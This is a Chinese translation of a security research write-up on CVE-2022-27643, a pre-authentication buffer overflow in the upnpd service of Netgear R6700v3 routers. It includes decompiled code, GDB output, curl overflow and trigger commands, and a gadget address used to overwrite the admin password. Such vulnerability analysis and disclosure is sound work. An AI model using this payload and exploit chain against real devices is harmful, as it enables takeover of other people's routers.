深入分析CVE-2022-27643漏洞
![]()
最近,安全研究人员在多款NETGEAR产品中提供并默认启用的通用即插即用守护程序(upnpd)中发现了远程预身份验证缓冲区溢出漏洞。在2021年11月举行的Austin pwn2own比赛期间,参赛人员利用该漏洞一举拿下路由器局域网(LAN)端的NETGEARR6700v3设备。 
以下22个型号的NETGEAR设备都受到该漏洞的影响:D6220、D6400、D7000v2、EX3700、EX3800、EX6120、EX6130、R7100LG、R6400、R6400v2、R6700v3、R6900P、R7000、R7000P、R7850、R8000、R8500、RS400、WNDR3400v3、WNR3500Lv2、XR300、DC112A。更多细节可以在NETGEAR的安全报告中找到,地址为https://kb.netgear.com/000064720/Security-Advisory-for-Pre-Authentication-Buffer-Overflow-on-Multiple-Products-PSV-2021-0323。 
在本文中,将为读者详细介绍我们是如何在pwn2own期间利用该漏洞成功拿下R6700v3设备的。
简介
再继续阅读下文之前,建议读者先从Netgear网站下载固件映像R6700v3-V1.0.4.120_10.0.91.zip。该固件映像内有一个Squashfs文件系统,我们可以用binwalk将其提取出来,具体命令如下所示: 
unzip R6700v3-V1.0.4.120_10.0.91.zip
binwalk -e R6700v3-V1.0.4.120_10.0.91.chk 
这时,将创建一个文件夹“squashfs-root”,其中包含本报告中所涉及的各个文件。
为了帮助调试该漏洞,我们将静态链接的GDB服务器复制到U盘上面,然后将其插入到R6700v3设备上。之后,我们可以使用telnetenable.py脚本,建立到目标设备的telnet会话,并将GDB服务器附加到目标upnpd进程: 
#/tmp/mnt/usb0/part1/gdbserver-7.7.1-armel-v1 --attach 192.168.1.1:4444PID_OF_UPNPD 
然后,我们就可以从开发机器连接到这个远程GDB服务器了,具体命令如下所示:
$ gdb-multiarch./squashfs-root/usr/sbin/upnpd
(gdb) target remote 192.168.1.1:4444
漏洞分析
在这里,二进制文件/usr/sbin/upnpd将在TCP端口5000上侦听HTTP请求,在TCP端口5555上侦听HTTPS请求。对/soap/server_sa端点的POST请求将由位于虚拟地址(VA)0x0003C784处的函数进行处理。如果这个POST请求包含其值为“urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate”的SOAPAction头部,则POST请求的内容(预期为xm l格式)将通过一种不安全的方式进行解析,具体代码如下所示: 
request_soapaction = stristr(buffer,"SOAPAction:");
// ...
v71 = stristr(request_soapaction + 11,"NewMACAddress");
if (v71 != 0) {
   v72 = stristr(request_soapaction + 11, "NewMACAddressxsi:type=\"xsd:string\">");
   if (v72 == 0) {
       begin = v71 + 14;
    }
   else {
       begin = v71 + 36;
    }
   strncpy(&GLOBAL_NewMACAddress, "", 19);
   end = stristr(request_soapaction + 11,"</NewMACAddress>");
   if (end != 0) {
       strncpy(&GLOBAL_NewMACAddress, "", 19);
       strncpy(&GLOBAL_NewMACAddress, begin, end - begin);
       GLOBAL_NewMACAddress[end - begin] = 0;
       log(3, "NewMACAddress = %s\n", &GLOBAL_NewMACAddress);
    }
 从上面以黄色突出显示的代码可以看出,如果找到NewMACAddress xm l标记,将执行对strncpy的调用,从而将NewMACAddress值的内容复制到静态缓冲区。但是,调用strncpy的逻辑是错误的,因为提供给strncpy的长度值是攻击者提供的源字符串的长度,而不是目标静态缓冲区的长度(只有20字节)。因此,如果攻击者提供大于20字节的NewMACAddress值,则可以溢出静态缓冲区,并将攻击者控制的数据写入相邻的内存中。检查下面以黄色突出显示的变量GLOBAL_NewMACAddress的位置,我们可以看到这个变量保存在二进制文件upnpd的.bss段中。因此,我们可以覆盖.bss段中的相邻变量,以及与.bss段相邻的内存,如果它被映射到可写的地址空间中的话。 
.bss:0x000DB00C GLOBAL_NewMACAddress:
.bss:0x000DB00C db 20 dup(??)
.bss:0x000DB020 data_0xDB020:
.bss:0x000DB020 db 4 dup(??)
.bss:0x000DB024 GLOBAL_new_http_passwd:
.bss:0x000DB024 db 132 dup(??)
.bss:0x000DB0A8 data_0xDB0A8:
.bss:0x000DB0A8 db 20 dup(??)
.bss:0x000DB0BC data_0xDB0BC:
.bss:0x000DB0BC db 20 dup(??)
.bss:0x000DB0D0 data_0xDB0D0:
.bss:0x000DB0D0 db 2048 dup(??)
.bss:0x000DB8D0 data_0xDB8D0:
.bss:0x000DB8D0 db 4 dup(??)
.bss:0x000DB8D4 data_0xDB8D4:
.bss:0x000DB8D4 db 4 dup(??)
.bss:0x000DB8D8 data_0xDB8D8:
.bss:0x000DB8D8 db 20 dup(??) 
在这里,值得注意的是相邻的变量GLOBAL_new_http_passwd,上面已经用粉色标出。我们将在利用这个漏洞的过程中用到它。
漏洞的利用过程
R6700v3设备在ARM上运行2.6.36.4版本的Linux内核。并且,系统内核被配置为randomize_va_space = 1,也就是说,将随机化进程堆栈和共享库的地址空间,但不随机化主二进制程序或进程堆。而二进制文件upnpd并没有构建为位置无关的可执行代码(PIE)。这导致.bss段在内存中的地址是固定的,而与.bss段直接相邻的是进程堆:它用于为调用malloc提供分配空间。 
这个漏洞的利用过程如下所示: 
1.利用溢出定位堆内存中的函数指针,并用攻击者控制的值覆盖该函数指针。 
2.然后,再次利用溢出漏洞来覆盖.bss段中的一个变量,该变量保存将设置为nvram http_passwd项的密码值。 
3.强制upnpd服务调用溢出的函数指针,并将执行流重定向到将设置nvram http_passwd的指令序列。 
4.如果将http_passwd设置为攻击者控制的值,我们就可以登录管理门户并完全控制设备。
控制程序计数器
由于进程堆与内存中的upnpd映像直接相邻,并且堆的地址没有被随机化,所以,我们可以对堆的布局做一些假设。我们可以借助于malloc早期分配的内存空间,因为它们在进程地址空间中具有相同的地址。这些内存的分配过程发生在upnpd接受外部网络流量之前,因此将始终以相同的顺序进行。我们感兴趣的是upnp二进制代码是如何初始化OpenSSL库(Version1.0.2h)的。实际上,二进制代码upnpd中的main()函数将调用VA0x00025034处的一个函数来初始化SSL,这将执行对SSL_load_error_strings()函数的调用。这个调用将执行许多堆分配操作,以生成字符串的哈希映射,稍后将用于生成人类可读的错误消息串。在这里,一个核心数据结构是_LHASH结构体,其中包含一个函数指针“hash”,如下面用红色突出显示的那样: 
typedef struct lhash_st {
   LHASH_NODE** b;
   LHASH_COMP_FN_TYPE comp;
   LHASH_HASH_FN_TYPE hash;
   unsigned int num_nodes;
   unsigned int num_alloc_nodes;
   unsigned int p;
   unsigned int pmax;
   unsigned long up_load; /* load times 256 */
   unsigned long down_load; /* load times 256 */
   unsigned long num_items;
   unsigned long num_expands;
   unsigned long num_expand_reallocs;
   unsigned long num_contracts;
   unsigned long num_contract_reallocs;
   unsigned long num_hash_calls;
   unsigned long num_comp_calls;
   unsigned long num_insert;
   unsigned long num_replace;
   unsigned long num_delete;
   unsigned long num_no_delete;
   unsigned long num_retrieve;
   unsigned long num_retrieve_miss;
   unsigned long num_hash_comps;
   int error;
} _LHASH; 
经过一番调试,我们发现_LHASH结构体总是被分配在堆中,从upnpd二进制文件的.bss部分的GLOBAL_NewMACAddress变量开始算起的话,其固定偏移量始终为7500。因此,我们可以利用溢出来可靠地覆盖这个哈希函数指针。下一个挑战是如何触发对被覆盖的函数指针的调用:如果我们查看OpenSSL源代码,我们可以看到,ERR_print_errors_fp将调用ERR_print_errors_cb,ERR_print_errors_cb将调用ERR_error_string_n,ERR_error_string_n将调用ERR_lib_error_string,ERR_lib_error_string将调用int_err_get_item,int_err_get_item将调用lh_ERR_STRING_DATA_retrieve,而lh_ERR_STRING_DATA_retrieve是lh_retrieve的宏,它将调用getrn,而getrn将从堆上的_LHASH结构体中调用该哈希函数指针。 
// .\openssl-1.0.2h\crypto\err\err_prn.c
void ERR_print_errors_fp(FILE* fp)
{
   ERR_print_errors_cb(print_fp, fp);
}
 
void ERR_print_errors_cb(int (*cb) (constchar* str, size_t len, void* u), void* u)
{
   unsigned long l;
   char buf[256];
   char buf2[4096];
   const char* file, * data;
   int line, flags;
   unsigned long es;
   CRYPTO_THREADID cur;
   CRYPTO_THREADID_current(&cur);
   es = CRYPTO_THREADID_hash(&cur);
   while ((l = ERR_get_error_line_data(&file, &line, &data,&flags)) != 0) {
       ERR_error_string_n(l, buf, sizeof buf);
       BIO_snprintf(buf2, sizeof(buf2), "%lu:%s:%s:%d:%s\n", es, buf,
       file, line, (flags & ERR_TXT_STRING) ? data : "");
       if (cb(buf2, strlen(buf2), u) <= 0)
           break; /* abort outputting the error report */
    }
}
 
//\openssl - 1.0.2h\crypto\err\err.c
void ERR_error_string_n(unsigned long e,char* buf, size_t len)
{
   char lsbuf[64], fsbuf[64], rsbuf[64];
   const char* ls, * fs, * rs;
   unsigned long l, f, r;
    l= ERR_GET_LIB(e);
    f= ERR_GET_FUNC(e);
    r= ERR_GET_REASON(e);
   ls = ERR_lib_error_string(e);
   // ...
}
 
const char* ERR_lib_error_string(unsignedlong e)
{
   ERR_STRING_DATA d, * p;
   unsigned long l;
   err_fns_check();
    l= ERR_GET_LIB(e);
   d.error = ERR_PACK(l, 0, 0);
    p= ERRFN(err_get_item) (&d);// int_err_get_item
   return ((p == NULL) ? NULL : p->string);
}
 
static ERR_STRING_DATA * int_err_get_item(constERR_STRING_DATA * d)
{
   ERR_STRING_DATA* p;
   LHASH_OF(ERR_STRING_DATA)* hash;
   err_fns_check();
   hash = ERRFN(err_get) (0);
   if (!hash)
       return NULL;
   CRYPTO_r_lock(CRYPTO_LOCK_ERR);
    p= lh_ERR_STRING_DATA_retrieve(hash, d);
   CRYPTO_r_unlock(CRYPTO_LOCK_ERR);
   return p;
}
 
#definelh_ERR_STRING_DATA_retrieve(lh,inst) LHM_lh_retrieve(ERR_STRING_DATA,lh,inst)
#define LHM_lh_retrieve(type, lh, inst) \
((type *)lh_retrieve(CHECKED_LHASH_OF(type,lh), \
CHECKED_PTR_OF(type, inst)))
 
//.\openssl-1.0.2h\crypto\lhash\lhash.c:241
void* lh_retrieve(_LHASH * lh, const void*data)
{
   unsigned long hash;
   LHASH_NODE** rn;
   void* ret;
   lh->error = 0;
   rn = getrn(lh, data, &hash);
   if (*rn == NULL) {
       lh->num_retrieve_miss++;
       return (NULL);
    }
   else {
       ret = (*rn)->data;
       lh->num_retrieve++;
    }
   return (ret);
}
// .\openssl-1.0.2h\crypto\lhash\lhash.c:390
static LHASH_NODE** getrn(_LHASH* lh, constvoid* data, unsigned long* rhash)
{
   LHASH_NODE** ret, * n1;
   unsigned long hash, nn;
   LHASH_COMP_FN_TYPE cf;
   hash = (*(lh->hash))(data); 
通过触发被覆盖的哈希函数指针的路径,我们可以从upnpd二进制代码中看到,当与端口5555的HTTPS连接在SSL_Accept期间无法从客户端建立TLS/SSL握手时,upnpd!upnp_main就会调用ERR_print_errors_fp。 
// upnpd!func_0x1B630+0x400
log(2, "%s(%d): port=%d\r\n","upnp_main", 1083, 5555);
client_socket = accept(data_0x66B24 + 0x8,&local_0x50, &local_0x30);
if (client_socket < 0) {
   log(2, "\r\n%s(%d)Port %d socket accesp failed!!\r\n","upnp_main", 1087, 5555);
   // ...
}
else {
   ssl = SSL_new(data_0x9090C);
   data_0x90910 = ssl;
   SSL_set_fd(ssl, client_socket);
   log(2, "%s(%d)before ssl accept, acceptfd is %d \n","upnp_main", 1093,
   client_socket);
   res = SSL_accept(data_0x90910);
    SSL_get_error(data_0x90910, res);
   if (res == 0 || res < 0) {
       ERR_print_errors_fp(__bss_start__); 
因此,我们可以在实现溢出后执行一个无效的HTTPS连接到TCP端口5555,以获得对进程程序计数器(PC)寄存器的控制。为了证明这一点,我们可以执行以下两条curl命令,第一条是实现溢出,第二条是触发对被覆盖的函数指针的调用并获得PC控制权。 
curl http://192.168.1.1:5000/soap/server_sa-X POST -H "SOAPAction:\"urn:NETGEARROUTER:service:ParentalControl:1#Authenticate\""--data "<NewMACAddress>$(printf 'A%.0s'{1..7500})BBBBCCCCDDDD</NewMACAddress>"
curl http://192.168.1.1:5555/ 
如果我们连接了GDB,我们可以看到以下输出,其中溢出的四个字符D用黄色突出显示: 
Program received signal SIGSEGV,Segmentation fault.
0x44444444 in ?? ()
(gdb) i r
r0    0xbed5ca78 3201682040
r1    0xbed5ca78 3201682040
r2    0x0        0
r3    0x44444444 1145324612
r4    0x40312e58 1076964952
r5    0xdcd58    904536
r6    0x6b0c     27404
r7    0xbed5ca78 3201682040
r8    0xbed5ca78 3201682040
r9    0x100      256
r10   0xbed5dcb8 3201686712
r11   0x402811a0 1076367776
r12   0x0        0
sp    0xbed5ca40 0xbed5ca40
lr    0x4027c74c 1076348748
pc    0x44444444 0x44444444
cpsr  0x60000010 1610612752
(gdb) x/8x $r5
0xdcd58: 0x42424242 0x43434343 0x444444440x00000500
0xdcd68: 0x00000800 0x00000137 0x000004000x00000200
(gdb) bt
#0 0x44444444 in ?? ()
#1 0x4027c74c in ?? ()
Backtrace stopped: previous fr ame identicalto this fr ame (corrupt stack?)
(gdb) x/8i 0x4027c74c-0x20
         0x4027c72c:mov r2, #0
         0x4027c730:push {r3, r4, r5, r6, r7, r8, r10, lr}
         0x4027c734:mov r5, r0
         0x4027c738:ldr r3, [r0, #8]
         0x4027c73c:mov r8, r1
         0x4027c740:str r2, [r0, #92] ; 0x5c
         0x4027c744:mov r0, r1
         0x4027c748:blx r3 
如果我们通过“BLX R3”指令调查将控制转移到攻击者控制值的回溯跟踪中的地址,我们可以验证它来自/lib/libcrypto.so.1.0.0!lh_retrieve(编译器必须选择内联getrn)。
目标函数Gadget
现在,我们已经能够控制执行流程了,我们必须选择如何利用它。由于我们溢出的GLOBAL_NewMACAddress变量与用于修改http管理员密码的变量(我们将称之为GLOBAL_new_http_passwd)相邻,因此,我们将进一步研究这个变量。在下面的用黄色标出的代码中可以看到,upnpd!func_0x289C8+0x10将使用GLOBAL_new_http_passwd变量,通过acosnvramconfig_set函数来设置路由器nvram配置中的http_passwd。 
// upnpd!func_0x289C8+0x10
if (p1 < 7) {
   if (p1 == 1) {
       acosNvramConfig_get("http_passwd");
       log(3, "old (%s), http (%s)\n", &data_0xDA318, __s2);
       v1 = strcmp(&data_0xDA318, __s2);
       if (v1 != 0) {
           log(3, "%s:%d\n", "sa_updateAdminPassword", 8832);
           return 20001;
       }
       log(3, "%s:%d\n", "sa_updateAdminPassword", 8829);
       acosNvramConfig_set("http_passwd",&GLOBAL_new_http_passwd);
       return 0;
    } 
我们可以考察从VA0x00028A74处开始的函数调用的反汇编代码。在执行对acosNvramConfig_set的调用之前,通过寄存器r0和r1设置了两个参数。 
 .text:0x00028A74 4C019FE5    ldr r0, [data_0x28BC8] ;"http_passwd"
 .text:0x00028A78 5C119FE5    ldr r1, [data_0x28BDC] ;GLOBAL_new_http_passwd
 .text:0x00028A7C CB8AFFEB    bl acosNvramConfig_set 
如果通过这个溢出漏洞,以值0x00028A74覆盖目标_LHASH::hash函数的指针(由于upnpd程序不是用PIE构建的,因此,这个地址是固定的),然后,再次使用溢出漏洞,用攻击者选择的密码值覆盖GLOBAL_new_http_passwd的值,通过执行一个无效的HTTP连接到TCP5555端口来更改密码。此外,攻击者还可以通过upnpd!func_0x3C784处易受攻击的函数,在溢出期间用含有null字节的值来覆盖GLOBAL_NewMACAddress变量,这允许攻击者写入包含null字节的值。(我们可以注意到,攻击者要写入的0x00028A74地址包含一个null字节,在小端模式的设备上,这实际上就会变成写入一个null终止符)。 
通过将http_passwd设置为攻击者控制的值,攻击者就可以登录到路由器的Web界面。此时,攻击者就完全控制了该设备,如果需要,他们还可以利用telnetenable.py获得root shell。
原文地址:https://blog.relyze.com/2022/03/cve-2022-27643-netgear-r6700v3-upnpd.html

匿名者  1309天前
              
            
        
最新评论